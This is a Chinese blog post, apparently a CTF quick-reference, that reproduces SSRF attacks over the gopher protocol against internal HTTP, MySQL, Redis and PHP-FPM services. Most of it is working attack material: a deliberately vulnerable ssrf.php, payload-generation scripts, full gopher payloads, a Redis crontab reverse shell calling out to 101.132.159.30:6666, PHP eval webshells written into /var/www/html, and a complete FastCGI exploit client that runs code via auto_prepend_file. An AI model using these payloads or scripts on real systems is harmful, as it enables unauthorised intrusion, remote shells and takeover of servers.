Diggid's Blog

SSRF Gopher协议打内网复现

字数统计: 5.1k阅读时长: 27 min
2021/04/05 Share

前言

这里记录一下gopher协议打内网应用的复现,方便比赛的时候查阅,立即生成payload。

Gopher协议简介

1.定义

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。

2.限制

gopher协议在各语言的使用限制

image-20210405123239890

3.格式

1
URL:gopher://<host>:<port>/<gopher-path>_TCP流

注意几个点

  • gopher协议默认端口70,所以大部分情况下要指定端口号
  • 注意TCP流前面的下划线_
  • TCP流中的换行要用%0d%0a代替,参数之间的&也要url编码(最方便的是全部TCP数据都用url编码即可),如果是作为GET参数传入代码然后发送gopher,则需要二次url编码,即把%换成%25即可,比如%61换成%2561,第一次解码变成%61然后发出

4.准备一个由ssrf漏洞的页面

ssrf.php

1
2
3
4
5
6
7
<?php
$url = @$_GET['url'];
echo urlencode($url);
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>

Gopher发http请求

GET 请求

准备一个测试页面gopher_get.php

1
2
3
<?php
echo "Hello ".$_GET["name"]."\n"
?>

一般情况下用gopher发GET请求的请求包不需要自己构造,在做题的时候直接抓页面的包即可作为请求包。这里采取构造的方式,发一个最简单的GET请求包过去

1
2
GET /gopher_get.php?name=diggid HTTP/1.1
Host: 127.0.0.1

写一个小脚本把请求包转成gopher数据流,注意http请求包最后还需要%0d%0a,标志请求包结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from urllib.parse import quote_plus

# 注意最后的换行
tcp_body = """GET /gopher_get.php?name=diggid HTTP/1.1
Host: 127.0.0.1
"""

result = 'gopher://127.0.0.1:80/_'

for i in tcp_body:
result += '%' + hex(ord(i))[2:].rjust(2, '0')

result = result.replace("%0a", "%0d%0a")
# result = quote_plus(result)
print(result)

然后打一发

image-20210405164300326

POST 请求

还是一个测试页面

1
2
3
<?php
echo "Hello ".$_POST["name"]."\n"
?>

POST请求和GET请求的请求包有一些不一样的地方,除了开头的GET要换成POST之外,POST请求还必须包括以下字段

  • Content-Type:application/x-www-form-urlencoded
  • Content-Length:xx

因此一个完整的POST包长这样

1
2
3
4
5
6
POST /gopher_post.php HTTP/1.1
host: 192.168.0.109
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

name=diggid

稍微改一下脚本计算Content-Length

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from urllib.parse import quote_plus

payload = "name=diggid"

tcp_body = """POST /gopher_post.php?name=diggid HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

%s
""" % (len(payload), payload)

result = 'gopher://127.0.0.1:80/_'

for i in tcp_body:
result += '%' + hex(ord(i))[2:].rjust(2, '0')

result = result.replace("%0a", "%0d%0a")
# result = quote_plus(result)
print(result)

image-20210405165111955

Gopher打Mysql

mysql连接方式

mysql客户端连接服务端有以下三种方式

  1. Unix套接字:在Linux或Unix环境下,输入mysql–uroot –proot登录mysql服务器使用的就是该方式,该方式不是一种网络协议,只有客户端和服务端在同一台电脑上才能使用

  2. 内存共享/命名管道:在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。

  3. TCP/IP套接字:这是一种网络协议,适用于任何系统,当使用mysql –h 127.0.0.1 –u root –proot登录时,就是该种方式

因此,我们需要使用 **mysql –h 127.0.0.1 –uroot –proot **的登录方式来连接mysql服务端,从而抓取到TCP/IP的数据流

mysql认证过程

很显然,mysql存在两种认证过程

  1. 密码认证:服务器先发送salt,然后客户端使用salt加密密码后进行认证,加密后的密码值正确则认证成功

  2. 无需密码:直接发送TCP/IP数据包即可,不需要密码

因此,要想用SSRF来攻击mysql,必须在未授权(无需密码)的情况下进行,在授权情况下需要知道密码+salt

服务端与客户端的交互主要分为两个阶段:

  • 连接阶段(认证阶段):包括握手包和认证包。主要关注认证包的内容

image-20210405172032046

具体各字节的含义这里不展开来说。

Packet Length为整个数据包的长度,Packet Number随着每个数据包的个数从0开始递增,当碰到新的命令执行阶段则重置为0,比如:

  • 命令阶段:每条命令重置Packet Number为0

image-20210405172447518

攻击复现

可能会出现的问题:存在ssrf漏洞的服务器的mysql版本要和本地构造数据包的mysql版本相同,否则格式不同

查看mysql版本:mysql -V

这里复现一下操作过程,根据上面的分析,如果要攻击内网的未授权mysql服务器,则只需要用任意账户登录,然后执行命令即可

  • 本地创建一个任意权限的账户diggid,模拟未授权过程(该部分不需要抓包)
1
2
3
create user 'diggid'@'localhost';
grant all on *.* to 'diggid'@'localhost';
FLUSH PRIVILEGES;
  • 本地开两个shell,一个作为攻击方,一个抓包
1
2
3
4
5
6
7
8
抓包:
tcpdump –i lo port 3306 –w mysql.pcap

攻击:
mysql -h 127.0.0.1 -u diggid
show databases; //要执行的命令
exit;
// 注意最后的exit,要模拟完整的过程。

在wireshark中打开mysql.pcap,然后追踪tcp流

image-20210405173459454

把数据抠出来,然后用脚本改一下

1
2
3
4
5
6
7
8
9
10
11
12
from urllib.parse import quote_plus
import sys
def get_payload(tcp_body):
result = ''
for i in range(0, len(tcp_body), 2):
result += '%' + tcp_body[i:i+2]
result = 'gopher://127.0.0.1:3306/_' + result
# result = 'gopher://127.0.0.1:3306/_' + quote_plus(reusult)
return result
if __name__ == "__main__":
s = sys.argv[1]
print(get_payload(s))

image-20210405194732565

1
gopher://127.0.0.1:3306/_%bc%00%00%01%84%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0f%00%00%00%64%69%67%67%69%64%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7d%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%33%37%30%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%05%33%2e%31%2e%38%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%09%31%32%37%2e%30%2e%30%2e%31%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%01%00%00%00%01

然后用curl打一发即可。如果碰到无回显的情况,则可以写shell或者使用udf反弹shell等

Gopher打Redis

redis未授权访问的利用方式有如下几种:

  • 写webshell
  • 写crontab反弹shell
  • 写ssh公钥并访问

写crontab反弹shell

这里先尝试第二种利用方式,写crontab反弹shell

常见redis反弹shell的bash脚本:

gopher_redis.sh

1
2
3
4
5
6
redis-cli -h $1 -p $2 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/101.132.159.30/6666 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
  • $1:传入redis服务器的地址,本地测试的话就写127.0.0.1
  • $2:传入redis服务的端口,默认6379

然后执行该脚本的命令

1
bash gopher_redis.sh 127.0.0.1 6379

获取TCP数据

执行命令的TCP数据包,我们可以通过socat来转发获取,转发命令如下

1
socat -v tcp-listen:6666,fork tcp-connect:localhost:6379

开启redis服务器,未授权

1
./redis-server --protected-mode no

执行脚本

1
bash gopher_redis.sh 127.0.0.1 6666

转换数据

获取到的数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
> 2021/04/05 21:26:27.439238  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2021/04/05 21:26:27.439379 length=5 from=0 to=4
+OK\r
> 2021/04/05 21:26:27.450864 length=88 from=0 to=87
*3\r
$3\r
set\r
$1\r
1\r
$61\r


*/1 * * * * bash -i >& /dev/tcp/101.132.159.30/6666 0>&1


\r
< 2021/04/05 21:26:27.451288 length=5 from=0 to=4
+OK\r
> 2021/04/05 21:26:27.453973 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2021/04/05 21:26:27.454228 length=5 from=0 to=4
+OK\r
> 2021/04/05 21:26:27.458126 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2021/04/05 21:26:27.459725 length=5 from=0 to=4
+OK\r
> 2021/04/05 21:26:27.464545 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2021/04/05 21:26:27.467500 length=5 from=0 to=4
+OK\r
> 2021/04/05 21:26:27.471112 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2021/04/05 21:26:27.471227 length=5 from=0 to=4
+OK\r

转换规则:

  • 第一个字符是><则丢弃该行,表示时间

  • 前三个字符是+OK则丢弃该行,表示执行成功

  • \r换为%0d0a,表示换行

  • 空白行替换为%0a,如果一行只有\r,则要替换为%0a%0d%0a

转换脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line

exp = "gopher://127.0.0.1:6379/_" + exp
# exp = "gopher://127.0.0.1:6379/_" + qoute_plus(exp)
print(exp)

转换结果如下:

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/101.132.159.30/6666 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

然后gopher协议来一发,注意curl的url需要单引号包裹

image-20210405214558961

写webshell

shell命令的格式都差不多,把反弹shell换成webshell和写入的目录换一下就好了

1
2
3
4
5
6
redis-cli -h $1 -p $2 flushall
echo -e "\n\n<?php @eval(\$_POST[diggid]);?>\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/www/html
redis-cli -h $1 -p $2 config set dbfilename shell.php
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

和上面一样本地开启socat转发,redis服务端开启未授权,执行上述shell脚本,得到的数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
> 2021/04/05 23:50:43.515034  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2021/04/05 23:50:43.515258 length=5 from=0 to=4
+OK\r
> 2021/04/05 23:50:43.521067 length=63 from=0 to=62
*3\r
$3\r
set\r
$1\r
1\r
$35\r


<?php @eval($_POST[diggid]);?>


\r
< 2021/04/05 23:50:43.521464 length=5 from=0 to=4
+OK\r
> 2021/04/05 23:50:43.526799 length=54 from=0 to=53
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
< 2021/04/05 23:50:43.527109 length=5 from=0 to=4
+OK\r
> 2021/04/05 23:50:43.529679 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
< 2021/04/05 23:50:43.529917 length=5 from=0 to=4
+OK\r
> 2021/04/05 23:50:43.534019 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2021/04/05 23:50:43.537945 length=5 from=0 to=4
+OK\r
> 2021/04/05 23:50:43.543689 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2021/04/05 23:50:43.543827 length=5 from=0 to=4
+OK\r

用脚本转换如下,需要发送到测试页面(二次编码)

1
gopher://127.0.0.1:6379/_%2A1%250d%250a%248%250d%250aflushall%250d%250a%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2435%250d%250a%250a%250a%3C%3Fphp+%40eval%28%24_POST%5Bdiggid%5D%29%3B%3F%3E%250a%250a%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%249%250d%250ashell.php%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a

打一发出去

image-20210405235608550

访问一下,或者拿蚁剑连一手(下图是GET方法,拿蚁剑连的话最好使用POST方法的马,否则可能会连不上)

image-20210406150350015

Gopher打FastCGI

关于fastcgi的知识具体参考P牛文章

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

利用条件

  • libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)

  • PHP-FPM监听端口,默认端口为9000

  • PHP-FPM版本 >= 5.3.3

获取数据

利用P牛的一个脚本:fpm.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

脚本用法很简单,**-c 指定命令 ,-p 指定端口 ,host (主机),file (已知php文件的绝对路径)**

本地监听一个6666端口nc -lvvp 6666 > tcp.txt

然后使用脚本把流量打到该端口获取数据

1
python fpm.py -c "<?php system('echo \'<?php @eval(\$_GET[diggid])?>\' >> '.__DIR__.'/shell.php'); exit;?>" -p 9000 127.0.0.1 /var/www/html/info.php

然后把tcp.txt文件的内容转为gopher的数据,直接quote一下就行

1
2
3
from urllib.parse import quote
with open('./tcp.txt', 'rb') as f:
print(quote(f.read()))

得到的数据

1
gopher://127.0.0.1:9000/_%01%01Xl%00%08%00%00%00%01%00%00%00%00%00%00%01%04Xl%01%D8%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME/var/www/html/info.php%0B%16SCRIPT_NAME/var/www/html/info.php%0C%00QUERY_STRING%0B%16REQUEST_URI/var/www/html/info.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH87%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04Xl%00%00%00%00%01%05Xl%00W%00%00%3C%3Fphp%20system%28%27echo%20%5C%27%3C%3Fphp%20%40eval%28%24_GET%5Bdiggid%5D%29%3F%3E%5C%27%20%3E%3E%20%27.__DIR__.%27/shell.php%27%29%3B%20exit%3B%3F%3E%01%05Xl%00%00%00%00

小工具

工具地址:https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

简单使用方法

1.mysql

起mysql服务器

1
service mysql start

sniffer监听流量

1
./sniffer -p3306

客户端执行命令

1
2
3
mysql -h 127.0.0.1 -u diggid
show databases;
exit;

然后得到数据流,处理一下即可

2.redis

起redis

1
./redis-server --protected-mode no

sniffer监听

1
./sniffer -p6379

客户端连接并执行命令,这里用我们那个脚本

1
2
3
4
5
6
7
8
9
bash gopher_redis.sh 127.0.0.1 6379

gopher_redis.sh:
redis-cli -h $1 -p $2 flushall
echo -e "\n\n<?php @eval(\$_GET[diggid]);?>\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/www/html
redis-cli -h $1 -p $2 config set dbfilename shell.php
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
CATALOG
  1. 1. 前言
  2. 2. Gopher协议简介
  3. 3. Gopher发http请求
    1. 3.1. GET 请求
    2. 3.2. POST 请求
  4. 4. Gopher打Mysql
    1. 4.1. mysql连接方式
    2. 4.2. mysql认证过程
    3. 4.3. 攻击复现
  5. 5. Gopher打Redis
    1. 5.1. 写crontab反弹shell
      1. 5.1.1. 获取TCP数据
      2. 5.1.2. 转换数据
    2. 5.2. 写webshell
  6. 6. Gopher打FastCGI
    1. 6.1. 利用条件
    2. 6.2. 获取数据
  7. 7. 小工具